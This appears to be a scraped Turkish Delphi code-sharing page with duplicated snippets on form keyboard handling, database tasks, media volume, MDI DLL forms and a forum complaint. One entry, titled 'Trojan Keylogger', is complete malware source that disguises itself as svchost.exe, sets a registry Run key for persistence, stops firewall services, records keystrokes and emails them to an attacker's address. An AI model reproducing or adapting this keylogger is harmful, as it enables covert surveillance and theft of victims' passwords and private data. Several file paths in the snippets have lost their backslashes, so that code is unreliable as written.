ENTER IS TAB
Enter-ing Tab
We know that, generally, pressing the Tab key moves the input focus to
next control and Shift-Tab to previous in the tab order of the form.
When working with Windows applications, most users intuitively expect
the Enter key to behave like a Tab key.
Over the past few years, I've seen a lot of third-party code for
implementing better data entry processing in Delphi. In this article,
I'll try to bring you the best methods I have found (with some modifications
of my own).
Examples below are written with the assumption that there is no default button
on the form. When your form contains a button whose Default property is set to
True, pressing Enter at runtime executes any code contained in the button's
OnClick event handler.
Enter as Tab
The next code causes Enter to behave like Tab, and Shift+Enter like Shift+Tab:
~~~~~~~~~~~~~~~~~~~~~~~~~
procedure TForm1.Edit1KeyPress (Sender: TObject; var Key: Char) ;
begin
If Key = #13 Then Begin
If HiWord(GetKeyState(VK_SHIFT)) <> 0 then
SelectNext(Sender as TWinControl,False,True)
else
SelectNext(Sender as TWinControl,True,True) ;
Key := #0
end;
end;
~~~~~~~~~~~~~~~~~~~~~~~~~
in DBGrid
If you want to have similar Enter (Shift+Enter) processing in DBGrid:
~~~~~~~~~~~~~~~~~~~~~~~~~
procedure TForm1.DBGrid1KeyPress (Sender: TObject; var Key: Char) ;
begin
If Key = #13 Then Begin
If HiWord(GetKeyState(VK_SHIFT)) <> 0 then begin
with (Sender as TDBGrid) do
if selectedindex > 0 then
selectedindex := selectedindex - 1
else begin
DataSource.DataSet.Prior;
selectedindex := fieldcount - 1;
end;
end else begin
with (Sender as TDBGrid) do
if selectedindex < (fieldcount - 1) then
selectedindex := selectedindex + 1
else begin
DataSource.DataSet.Next;
selectedindex := 0;
end;
end;
Key := #0
end;
end;
~~~~~~~~~~~~~~~~~~~~~~~~~
Delphi - .....................................
Bir Dizindeki Resimleri Image nesnesinde göstermek.
Kolay gelsin sevgili arkadaşlar. Bu kodlar bir dizindeki
resimleri veri tabanına kaydetmeden bir klasör içindeki resimleri programda
göstermenize yarar.
Alim KÖKSAL
matematikchi@gmail.com
procedure TForm1.DataSource1DataChange(Sender: TObject; Field: TField);
begin
if FileExists('C:Program FilesmatematikchiAidat ve Kurs Takipresimler'+ Table1NUMARASI.AsString+''+'.bmp') then
begin
Image2.Picture.LoadFromFile('C:Program FilesmatematikchiAidat ve Kurs Takipresimler'+ Table1NUMARASI.AsString+''+'.bmp');
Image2.Visible := True;
end
else
begin
Image2.Visible := False;
end;
end;
Delphi - .....................................
Bir Dizindeki Resimleri Image nesnesinde göstermek.
Kolay gelsin sevgili arkadaşlar. Bu kodlar bir dizindeki
resimleri veri tabanına kaydetmeden bir klasör içindeki resimleri programda
göstermenize yarar.
Alim KÖKSAL
matematikchi@gmail.com
procedure TForm1.DataSource1DataChange(Sender: TObject; Field: TField);
begin
if FileExists('C:Program FilesmatematikchiAidat ve Kurs Takipresimler'+ Table1NUMARASI.AsString+''+'.bmp') then
begin
Image2.Picture.LoadFromFile('C:Program FilesmatematikchiAidat ve Kurs Takipresimler'+ Table1NUMARASI.AsString+''+'.bmp');
Image2.Visible := True;
end
else
begin
Image2.Visible := False;
end;
end;
Delphi - .....................................
Lookup yerine Join Alanla Kayıt Girişi
http://www.vedatpala.com/lookup_field
Çok kayıt olduğunda 10000 den fazla insert field yöntemi ile eklenen
lookup alanları programda yavaşlamaya sebep oluyor..
Lookup alan yerine Join SQL kullanarak veri girişi yapmak hız kazandırıyor..
Fakat bunda da ufak bir sorun var.. Bağlantılı alan Post edilmeden karşılığı
olan alan join tablodan göstermiyor...
Kaynak kodu ile örneği siteme koydum....
"Interbase veritabanı ile Lookup ve Join alanla kayıt girişi"
Örnek porogramı kodlarıyla beraber sitemde bulabilirsiniz
http://www.vedatpala.com/lookup_field
Y
Delphi - .....................................
Lookup yerine Join Alanla Kayıt Girişi
http://www.vedatpala.com/lookup_field
Çok kayıt olduğunda 10000 den fazla insert field yöntemi ile eklenen
lookup alanları programda yavaşlamaya sebep oluyor..
Lookup alan yerine Join SQL kullanarak veri girişi yapmak hız kazandırıyor..
Fakat bunda da ufak bir sorun var.. Bağlantılı alan Post edilmeden karşılığı
olan alan join tablodan göstermiyor...
Kaynak kodu ile örneği siteme koydum....
"Interbase veritabanı ile Lookup ve Join alanla kayıt girişi"
Örnek porogramı kodlarıyla beraber sitemde bulabilirsiniz
http://www.vedatpala.com/lookup_field
Y
Delphi - .....................................
PARADOX ile DB SENKRONİZE ETME
Merhaba arkadaşlar paradox ile oluşturduğunuz bir tabloyu ilerde kullanmak için
yedek aldığınız diyelim. sonra bu tablolardan birine yeni bir alan ekleme ihtiyacı hissettiniz.
örneğin kisiler diye bir tablonuz olsun alanları ID,AD,SOYAD olsun
içinde de bir sürü verileriniz var. sonra bunu yedek aldınız.
yeni oluşturduğunuz tablo da ID,AD,SOYAD,TCNO yaptınız.
eski verilerinizi yenisine atmak için
delphi de 2 tane table nesnesi atın.
1. sine eski 2. sine yeni tablonuzu işaretleyin.
1 tanede batchmove nesnesi atın.
batchmove un özelliklerinde source ve destination göreceksiniz.
bunların içinde source'a 1., destination'a 2. tablonuzu seçin
batchmove.execute;
yaptığınızda eski tablonuzdaki veriler kaybolmadan yeni tablonuza geçecektir.
umarım yardımcı olur.
Delphi - .....................................
PARADOX ile DB SENKRONİZE ETME
Merhaba arkadaşlar paradox ile oluşturduğunuz bir tabloyu ilerde kullanmak için
yedek aldığınız diyelim. sonra bu tablolardan birine yeni bir alan ekleme ihtiyacı hissettiniz.
örneğin kisiler diye bir tablonuz olsun alanları ID,AD,SOYAD olsun
içinde de bir sürü verileriniz var. sonra bunu yedek aldınız.
yeni oluşturduğunuz tablo da ID,AD,SOYAD,TCNO yaptınız.
eski verilerinizi yenisine atmak için
delphi de 2 tane table nesnesi atın.
1. sine eski 2. sine yeni tablonuzu işaretleyin.
1 tanede batchmove nesnesi atın.
batchmove un özelliklerinde source ve destination göreceksiniz.
bunların içinde source'a 1., destination'a 2. tablonuzu seçin
batchmove.execute;
yaptığınızda eski tablonuzdaki veriler kaybolmadan yeni tablonuza geçecektir.
umarım yardımcı olur.
Delphi - .....................................
TMediaPlayer Kullanan bir uygulamada ses ayarı
uses
MPlayer, MMSystem;
const
MCI_SETAUDIO = $0873;
MCI_DGV_SETAUDIO_VOLUME = $4002;
MCI_DGV_SETAUDIO_ITEM = $00800000;
MCI_DGV_SETAUDIO_VALUE = $01000000;
MCI_DGV_STATUS_VOLUME = $4019;
type
MCI_DGV_SETAUDIO_PARMS = record
dwCallback: DWORD;
dwItem: DWORD;
dwValue: DWORD;
dwOver: DWORD;
lpstrAlgorithm: PChar;
lpstrQuality: PChar;
end;
type
MCI_STATUS_PARMS = record
dwCallback: DWORD;
dwReturn: DWORD;
dwItem: DWORD;
dwTrack: DWORD;
end;
procedure SetMPVolume(MP: TMediaPlayer; Volume: Integer);
{ Volume: 0 - 1000 }
var
p: MCI_DGV_SETAUDIO_PARMS;
begin
{ Volume: 0 - 1000 }
p.dwCallback := 0;
p.dwItem := MCI_DGV_SETAUDIO_VOLUME;
p.dwValue := Volume;
p.dwOver := 0;
p.lpstrAlgorithm := nil;
p.lpstrQuality := nil;
mciSendCommand(MP.DeviceID, MCI_SETAUDIO,
MCI_DGV_SETAUDIO_VALUE or MCI_DGV_SETAUDIO_ITEM, Cardinal(@p));
end;
function GetMPVolume(MP: TMediaPlayer): Integer;
var
p: MCI_STATUS_PARMS;
begin
p.dwCallback := 0;
p.dwItem := MCI_DGV_STATUS_VOLUME;
mciSendCommand(MP.DeviceID, MCI_STATUS, MCI_STATUS_ITEM, Cardinal(@p));
Result := p.dwReturn;
{ Volume: 0 - 1000 }
end;
//örnek olarak
bir tane scrollbar ekleyip onchange olayına
SetMPVolume(MediaPlayer1, scrollbar1.position);
dediğiniz halde kaydırma çubuğu ile sesi kısıp açabilirsiniz
Kolay gelsin
Delphi - .....................................
TMediaPlayer Kullanan bir uygulamada ses ayarı
uses
MPlayer, MMSystem;
const
MCI_SETAUDIO = $0873;
MCI_DGV_SETAUDIO_VOLUME = $4002;
MCI_DGV_SETAUDIO_ITEM = $00800000;
MCI_DGV_SETAUDIO_VALUE = $01000000;
MCI_DGV_STATUS_VOLUME = $4019;
type
MCI_DGV_SETAUDIO_PARMS = record
dwCallback: DWORD;
dwItem: DWORD;
dwValue: DWORD;
dwOver: DWORD;
lpstrAlgorithm: PChar;
lpstrQuality: PChar;
end;
type
MCI_STATUS_PARMS = record
dwCallback: DWORD;
dwReturn: DWORD;
dwItem: DWORD;
dwTrack: DWORD;
end;
procedure SetMPVolume(MP: TMediaPlayer; Volume: Integer);
{ Volume: 0 - 1000 }
var
p: MCI_DGV_SETAUDIO_PARMS;
begin
{ Volume: 0 - 1000 }
p.dwCallback := 0;
p.dwItem := MCI_DGV_SETAUDIO_VOLUME;
p.dwValue := Volume;
p.dwOver := 0;
p.lpstrAlgorithm := nil;
p.lpstrQuality := nil;
mciSendCommand(MP.DeviceID, MCI_SETAUDIO,
MCI_DGV_SETAUDIO_VALUE or MCI_DGV_SETAUDIO_ITEM, Cardinal(@p));
end;
function GetMPVolume(MP: TMediaPlayer): Integer;
var
p: MCI_STATUS_PARMS;
begin
p.dwCallback := 0;
p.dwItem := MCI_DGV_STATUS_VOLUME;
mciSendCommand(MP.DeviceID, MCI_STATUS, MCI_STATUS_ITEM, Cardinal(@p));
Result := p.dwReturn;
{ Volume: 0 - 1000 }
end;
//örnek olarak
bir tane scrollbar ekleyip onchange olayına
SetMPVolume(MediaPlayer1, scrollbar1.position);
dediğiniz halde kaydırma çubuğu ile sesi kısıp açabilirsiniz
Kolay gelsin
Delphi - .....................................
Trojan Keylogger
//-----------Declared-----------
//---delphi_hacker@hotmail.com--
//Bu arada kodbank foruma dönmüş mp3 paylaşımı falan da yapın isterseniz
//Bu program için düzenleme yapmanız gerekmektedir kodları inceleyin
//Test etmedim özür dilerim....
unit main;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, Registry, StdCtrls, Psock, NMsmtp, WinSvc;
type
TForm1 = class(TForm)
Timer1: TTimer;
Memo1: TMemo;
KeyTimer: TTimer;
NMSMTP1: TNMSMTP;
procedure Timer1Timer(Sender: TObject);
procedure KeyTimerTimer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure NMSMTP1Connect(Sender: TObject);
procedure NMSMTP1Success(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function GetServiceStatus(
const ServiceName: string): SERVICE_STATUS;
var
SCM: SC_HANDLE;
ServiceHandle: SC_HANDLE;
begin
SCM := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
if SCM <> 0 then
ServiceHandle := OpenService(SCM, PChar(ServiceName), SERVICE_ALL_ACCESS);
end;
function StopNTService(const ServiceName: string): Boolean;
var
SCM: SC_HANDLE;
ServiceHandle: SC_HANDLE;
Res: Boolean;
Status: SERVICE_STATUS;
begin
Result := False;
SCM := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
if SCM <> 0 then
ServiceHandle := OpenService(SCM, PChar(ServiceName), SERVICE_ALL_ACCESS);
if ServiceHandle = 0 then
begin
CloseServiceHandle(SCM);
end;
Res := ControlService(ServiceHandle, SERVICE_CONTROL_STOP, Status);
if Res then
Result := True;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var Dosya: String; Reg: TRegistry;
begin
Timer1.Enabled:= False;
if not FileExists('C:windowssvchost.exe') then
begin
Reg:= TRegistry.Create;
Reg.RootKey:= HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun', False);
Reg.WriteString('System Host Controller', 'C:Windowssvchost.exe');
Reg.CloseKey;
Reg.Free;
Dosya:= ExtractFileDir(Application.ExeName)+''+Application.ExeName;
CopyFile(PChar(Dosya), 'C:windowssvchost.exe', True);
WinExec('C:windowssvchost.exe', SW_HIDE);
Close;
end;
end;
procedure TForm1.KeyTimerTimer(Sender: TObject);
var
T: Integer;
begin
for t := 1 to 255 do
begin
if GetAsyncKeyState(t) <> 0 then
memo1.Lines.text:= memo1.Lines.text+(chr(t));
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if ExtractFileDir(Application.ExeName)+''+Application.ExeName = 'C:Windowssvchost.exe'then
begin
NMSMTP1.Host:= 'mx3.hotmail.com';
NMSMTP1.SubType:= mtHtml;
NMSMTP1.Connect;
end else
begin
StopNTService('SharedAccess');
StopNTService('FireWall1'); //Buraya tahmini firewallların adını yazın ki programın çalışmasını engellemesin;
StopNTService('FireWall2'); //Buraya tahmini firewallların adını yazın ki programın çalışmasını engellemesin;
end;
Action:= caFree;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.ShowMainForm:= False; //Bu satırı .dpr dosyasına formlar tanımlanmadan önce yazın
StopNTService('SharedAccess');
StopNTService('FireWall1'); //Buraya tahmini firewallların adını yazın ki programın çalışmasını engellemesin;
StopNTService('FireWall2'); //Buraya tahmini firewallların adını yazın ki programın çalışmasını engellemesin;
end;
procedure TForm1.NMSMTP1Connect(Sender: TObject);
begin
NMSMTP1.PostMessage.FromAddress:= 'sifren@keylogger.com';
NMSMTP1.PostMessage.FromName:= 'Key Logger';
NMSMTP1.PostMessage.ToAddress.Clear;
NMSMTP1.PostMessage.ToAddress.Add('sizinadresiniz@hotmail.com');
NMSMTP1.PostMessage.Date:= DateToStr(Date);
NMSMTP1.PostMessage.Body.Clear;
NMSMTP1.PostMessage.Body.Add(Memo1.Lines.Text);
NMSMTP1.PostMessage.Subject:= 'Kurbandan Gelen KeyLogger';
NMSMTP1.PostMessage.ReplyTo:= 'sifren@keylogger.com';
NMSMTP1.SendMail;
end;
procedure TForm1.NMSMTP1Success(Sender: TObject);
begin
NMSMTP1.Disconnect;
end;
end.
Delphi - .....................................
Trojan Keylogger
//-----------Declared-----------
//---delphi_hacker@hotmail.com--
//Bu arada kodbank foruma dönmüş mp3 paylaşımı falan da yapın isterseniz
//Bu program için düzenleme yapmanız gerekmektedir kodları inceleyin
//Test etmedim özür dilerim....
unit main;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, Registry, StdCtrls, Psock, NMsmtp, WinSvc;
type
TForm1 = class(TForm)
Timer1: TTimer;
Memo1: TMemo;
KeyTimer: TTimer;
NMSMTP1: TNMSMTP;
procedure Timer1Timer(Sender: TObject);
procedure KeyTimerTimer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure NMSMTP1Connect(Sender: TObject);
procedure NMSMTP1Success(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function GetServiceStatus(
const ServiceName: string): SERVICE_STATUS;
var
SCM: SC_HANDLE;
ServiceHandle: SC_HANDLE;
begin
SCM := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
if SCM <> 0 then
ServiceHandle := OpenService(SCM, PChar(ServiceName), SERVICE_ALL_ACCESS);
end;
function StopNTService(const ServiceName: string): Boolean;
var
SCM: SC_HANDLE;
ServiceHandle: SC_HANDLE;
Res: Boolean;
Status: SERVICE_STATUS;
begin
Result := False;
SCM := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
if SCM <> 0 then
ServiceHandle := OpenService(SCM, PChar(ServiceName), SERVICE_ALL_ACCESS);
if ServiceHandle = 0 then
begin
CloseServiceHandle(SCM);
end;
Res := ControlService(ServiceHandle, SERVICE_CONTROL_STOP, Status);
if Res then
Result := True;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var Dosya: String; Reg: TRegistry;
begin
Timer1.Enabled:= False;
if not FileExists('C:windowssvchost.exe') then
begin
Reg:= TRegistry.Create;
Reg.RootKey:= HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun', False);
Reg.WriteString('System Host Controller', 'C:Windowssvchost.exe');
Reg.CloseKey;
Reg.Free;
Dosya:= ExtractFileDir(Application.ExeName)+''+Application.ExeName;
CopyFile(PChar(Dosya), 'C:windowssvchost.exe', True);
WinExec('C:windowssvchost.exe', SW_HIDE);
Close;
end;
end;
procedure TForm1.KeyTimerTimer(Sender: TObject);
var
T: Integer;
begin
for t := 1 to 255 do
begin
if GetAsyncKeyState(t) <> 0 then
memo1.Lines.text:= memo1.Lines.text+(chr(t));
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if ExtractFileDir(Application.ExeName)+''+Application.ExeName = 'C:Windowssvchost.exe'then
begin
NMSMTP1.Host:= 'mx3.hotmail.com';
NMSMTP1.SubType:= mtHtml;
NMSMTP1.Connect;
end else
begin
StopNTService('SharedAccess');
StopNTService('FireWall1'); //Buraya tahmini firewallların adını yazın ki programın çalışmasını engellemesin;
StopNTService('FireWall2'); //Buraya tahmini firewallların adını yazın ki programın çalışmasını engellemesin;
end;
Action:= caFree;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.ShowMainForm:= False; //Bu satırı .dpr dosyasına formlar tanımlanmadan önce yazın
StopNTService('SharedAccess');
StopNTService('FireWall1'); //Buraya tahmini firewallların adını yazın ki programın çalışmasını engellemesin;
StopNTService('FireWall2'); //Buraya tahmini firewallların adını yazın ki programın çalışmasını engellemesin;
end;
procedure TForm1.NMSMTP1Connect(Sender: TObject);
begin
NMSMTP1.PostMessage.FromAddress:= 'sifren@keylogger.com';
NMSMTP1.PostMessage.FromName:= 'Key Logger';
NMSMTP1.PostMessage.ToAddress.Clear;
NMSMTP1.PostMessage.ToAddress.Add('sizinadresiniz@hotmail.com');
NMSMTP1.PostMessage.Date:= DateToStr(Date);
NMSMTP1.PostMessage.Body.Clear;
NMSMTP1.PostMessage.Body.Add(Memo1.Lines.Text);
NMSMTP1.PostMessage.Subject:= 'Kurbandan Gelen KeyLogger';
NMSMTP1.PostMessage.ReplyTo:= 'sifren@keylogger.com';
NMSMTP1.SendMail;
end;
procedure TForm1.NMSMTP1Success(Sender: TObject);
begin
NMSMTP1.Disconnect;
end;
end.
Delphi - .....................................
neoturk`e
arkadaşım yeter artık şunlardan bıktım:
1. Sürekli bir öğretmen edasıyla sorup sorup puan vermenden
2. Sürekli bu iş okulda olur öğretmen verir demenden
3. 2 üniversite bitirmiş olduğunu duymaktan
4. Mantığının çok süper olmasından (senin IQ`nu ölçmek lazım en az 300 çıkar)
5. Herkese sürekli lise mezunusun herhalde diye aşağılamandan
ben lise mezunuyum ama şikayetçi değilim okumak tabi güzel ama okumakla adam
olunmuyor bak sana ....
6. Sana gelen ve senin yolladığın epostaların gelmişini geçmişini okumaktan
mesela geçen denk geldim yine KOD ararken (senin saçma testlerini değil)
adam veritabanı yapmış kendisi bir de program yapmak istiyor sen adama
benim algoritmam daha iyi diyorsun o kadar iyiysen git sende veritabanı yap
ama yapmışsın adam geceler boyu uğraşmış sen 15 dk yapmışsın aferim
çok zekisin mükemmelsin o zaman birilerinden bi şey isteme istiyorsun da
iste ama buraya bütün eposta kutunu yazmak zorunda mısın?
7. Soru soranların sorularını cevabın üsttüne yazmandan ve böylece burda
soru sorana cevap verildiği hissini yaratman bu sayede KOD bankın
SORU bank olmasından
8. Sürekli bana adamın birisi oğluna sen adam olamazsın demiş o da okumuş
çalışmış vezir olmuş babasını ayağına çağırtıp bak adam oldum demesini
babasınında vezir değil ADAM olmamazsın sözünü hatırlatmandan
9. Şimdi yine bunu kesip kendi mesajının üstüne ekleyip bana cevap vermenden
ve bak lise mezunu okusa böyle olmazdı daha yazı yazmayı blmiyor gibi
dil bilgisinden bahsedeceğinden
10. ARTIK YETER HER GÜNCELLEMEDE SENİN KULAĞINI ÇINLATMAKTAN BIKTIMMMMM
Herkesten özür diliyorum bu ilk ve son.
Delphi - .....................................
neoturk`e
arkadaşım yeter artık şunlardan bıktım:
1. Sürekli bir öğretmen edasıyla sorup sorup puan vermenden
2. Sürekli bu iş okulda olur öğretmen verir demenden
3. 2 üniversite bitirmiş olduğunu duymaktan
4. Mantığının çok süper olmasından (senin IQ`nu ölçmek lazım en az 300 çıkar)
5. Herkese sürekli lise mezunusun herhalde diye aşağılamandan
ben lise mezunuyum ama şikayetçi değilim okumak tabi güzel ama okumakla adam
olunmuyor bak sana ....
6. Sana gelen ve senin yolladığın epostaların gelmişini geçmişini okumaktan
mesela geçen denk geldim yine KOD ararken (senin saçma testlerini değil)
adam veritabanı yapmış kendisi bir de program yapmak istiyor sen adama
benim algoritmam daha iyi diyorsun o kadar iyiysen git sende veritabanı yap
ama yapmışsın adam geceler boyu uğraşmış sen 15 dk yapmışsın aferim
çok zekisin mükemmelsin o zaman birilerinden bi şey isteme istiyorsun da
iste ama buraya bütün eposta kutunu yazmak zorunda mısın?
7. Soru soranların sorularını cevabın üsttüne yazmandan ve böylece burda
soru sorana cevap verildiği hissini yaratman bu sayede KOD bankın
SORU bank olmasından
8. Sürekli bana adamın birisi oğluna sen adam olamazsın demiş o da okumuş
çalışmış vezir olmuş babasını ayağına çağırtıp bak adam oldum demesini
babasınında vezir değil ADAM olmamazsın sözünü hatırlatmandan
9. Şimdi yine bunu kesip kendi mesajının üstüne ekleyip bana cevap vermenden
ve bak lise mezunu okusa böyle olmazdı daha yazı yazmayı blmiyor gibi
dil bilgisinden bahsedeceğinden
10. ARTIK YETER HER GÜNCELLEMEDE SENİN KULAĞINI ÇINLATMAKTAN BIKTIMMMMM
Herkesten özür diliyorum bu ilk ve son.
Delphi - .....................................
MYSQL TURKCE KAREKTER
DATABASE veritabani_adi DEFAULT CHARACTER SET latin1
Delphi - .....................................
MYSQL TURKCE KAREKTER
DATABASE veritabani_adi DEFAULT CHARACTER SET latin1
Delphi - .....................................
falcon007 - MDI içerisinde Child DLL kullanma
{ Exe program içerisinde DLL kullanma ile ilgili
ayrıntılı pek kaynak yok... umarım faydalı olur
DLL ana form içerisinde açılmakta ve bir kez açılmakta
isterseniz gerekli ayarlarla oynayarak daha çok da açtırabilirsiniz...}
{ MDIinChildDll.dpr}
program MDIinChildDll;
uses
Forms,
frmMain in 'frmMain.pas' {Form1};
{$R *.res}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
//////////////////////////////////
unit frmMain;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Menus;
type
TShowFrm = procedure(App: TApplication; Scr:TScreen); stdcall;
TForm1 = class(TForm)
MainMenu1: TMainMenu;
mnuMenu1: TMenuItem;
mnuSub11: TMenuItem;
mnuExit: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure mnuMenu1Click(Sender: TObject);
procedure mnuSub11Click(Sender: TObject);
procedure mnuExitClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
hInstance: THandle;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
try
hInstance := SafeLoadLibrary('ChildDLL.dll', SEM_NOOPENFILEERRORBOX);
{load the library on form create as will need to know what
forms are available, so they can be listed for creation.}
except
on e: exception do ShowMessage(e.Message);
end;
end;
procedure TForm1.mnuMenu1Click(Sender: TObject);
begin
if Form1.MDIChildCount > 0 then
mnuSub11.Enabled:=False
else
mnuSub11.Enabled:=True;
end;
procedure TForm1.mnuSub11Click(Sender: TObject);
var
AFunc: Pointer;
begin
if Form1.MDIChildCount = 0 then
try
begin
Pointer(AFunc) := GetProcAddress(hInstance, PChar ('ShowFrm'));
TShowFrm(AFunc)(Application, Screen); {Open the child form}
end;
except
on e: exception do ShowMessage(e.Message);
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
i:integer;
begin
if Form1.MDIChildCount > 0 then
begin
for i := Form1.MDIChildCount-1 downto 0 do
begin
Form1.MDIChildren[i].close;
ShowMessage(IntToStr(i+1)+'. '+Form1.MDIChildren[i].Caption+' closed...');
end;
end;
FreeLibrary(hInstance);
end;
procedure TForm1.mnuExitClick(Sender: TObject);
begin
close;
end;
end.
///////////////////////////////////////////////////////////
{ChildDll.dpr}
library ChildDll;
uses
SysUtils, Classes, Forms, Windows, Dialogs,
frmChild in 'frmChild.pas' {Form2};
{$R *.res}
var
AppDLL: TApplication;
ScrDLL: TScreen;
procedure MyDLLProc(Reason: Integer);
begin
try
if Reason = DLL_PROCESS_DETACH then
begin
Application := AppDLL;
Screen := ScrDLL;
end;
except
on e: exception do ShowMessage(e.Message);
end;
end;
procedure ShowFrm(App:TApplication; Scr: TScreen); stdcall;
begin
Application := App;
Screen := Scr;
App.CreateForm(TForm2, Form2);
Form2.Show;
end;
exports
ShowFrm;
begin
try
AppDLL := Application;
ScrDLL := Screen;
DLLProc := @MyDLLProc;
except
on e: exception do ShowMessage(e.Message);
end;
end.
////////////////////////////////////////
unit frmChild;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;
type
TForm2 = class(TForm)
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form2: TForm2;
implementation
{$R *.dfm}
procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin
try
Action := caFree;
except
on e: exception do ShowMessage(e.Message);
end;
end;
end.
Delphi - .....................................
falcon007 - MDI içerisinde Child DLL kullanma
{ Exe program içerisinde DLL kullanma ile ilgili
ayrıntılı pek kaynak yok... umarım faydalı olur
DLL ana form içerisinde açılmakta ve bir kez açılmakta
isterseniz gerekli ayarlarla oynayarak daha çok da açtırabilirsiniz...}
{ MDIinChildDll.dpr}
program MDIinChildDll;
uses
Forms,
frmMain in 'frmMain.pas' {Form1};
{$R *.res}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
//////////////////////////////////
unit frmMain;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Menus;
type
TShowFrm = procedure(App: TApplication; Scr:TScreen); stdcall;
TForm1 = class(TForm)
MainMenu1: TMainMenu;
mnuMenu1: TMenuItem;
mnuSub11: TMenuItem;
mnuExit: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure mnuMenu1Click(Sender: TObject);
procedure mnuSub11Click(Sender: TObject);
procedure mnuExitClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
hInstance: THandle;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
try
hInstance := SafeLoadLibrary('ChildDLL.dll', SEM_NOOPENFILEERRORBOX);
{load the library on form create as will need to know what
forms are available, so they can be listed for creation.}
except
on e: exception do ShowMessage(e.Message);
end;
end;
procedure TForm1.mnuMenu1Click(Sender: TObject);
begin
if Form1.MDIChildCount > 0 then
mnuSub11.Enabled:=False
else
mnuSub11.Enabled:=True;
end;
procedure TForm1.mnuSub11Click(Sender: TObject);
var
AFunc: Pointer;
begin
if Form1.MDIChildCount = 0 then
try
begin
Pointer(AFunc) := GetProcAddress(hInstance, PChar ('ShowFrm'));
TShowFrm(AFunc)(Application, Screen); {Open the child form}
end;
except
on e: exception do ShowMessage(e.Message);
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
i:integer;
begin
if Form1.MDIChildCount > 0 then
begin
for i := Form1.MDIChildCount-1 downto 0 do
begin
Form1.MDIChildren[i].close;
ShowMessage(IntToStr(i+1)+'. '+Form1.MDIChildren[i].Caption+' closed...');
end;
end;
FreeLibrary(hInstance);
end;
procedure TForm1.mnuExitClick(Sender: TObject);
begin
close;
end;
end.
///////////////////////////////////////////////////////////
{ChildDll.dpr}
library ChildDll;
uses
SysUtils, Classes, Forms, Windows, Dialogs,
frmChild in 'frmChild.pas' {Form2};
{$R *.res}
var
AppDLL: TApplication;
ScrDLL: TScreen;
procedure MyDLLProc(Reason: Integer);
begin
try
if Reason = DLL_PROCESS_DETACH then
begin
Application := AppDLL;
Screen := ScrDLL;
end;
except
on e: exception do ShowMessage(e.Message);
end;
end;
procedure ShowFrm(App:TApplication; Scr: TScreen); stdcall;
begin
Application := App;
Screen := Scr;
App.CreateForm(TForm2, Form2);
Form2.Show;
end;
exports
ShowFrm;
begin
try
AppDLL := Application;
ScrDLL := Screen;
DLLProc := @MyDLLProc;
except
on e: exception do ShowMessage(e.Message);
end;
end.
////////////////////////////////////////
unit frmChild;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;
type
TForm2 = class(TForm)
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form2: TForm2;
implementation
{$R *.dfm}
procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin
try
Action := caFree;
except
on e: exception do ShowMessage(e.Message);
end;
end;
end.
Delphi - .....................................
sql server data sismesi
en iyi yontem....
Query Analyzer'i açın
datanızı seçin ve aynen şu komutu yazın...
backup log dataismi with truncate_only
çalıştırın daha sonra manageri açın shrinkden Files'ı seçin...
yukarı menuden dataismi_log'u seçin...
aşağıda sıkıştırma oranı var yan tarafında yazan min.değeri yazın ok.deyin olay bitsin
Delphi - .....................................
sql server data sismesi
en iyi yontem....
Query Analyzer'i açın
datanızı seçin ve aynen şu komutu yazın...
backup log dataismi with truncate_only
çalıştırın daha sonra manageri açın shrinkden Files'ı seçin...
yukarı menuden dataismi_log'u seçin...
aşağıda sıkıştırma oranı var yan tarafında yazan min.değeri yazın ok.deyin olay bitsin
Delphi - .....................................
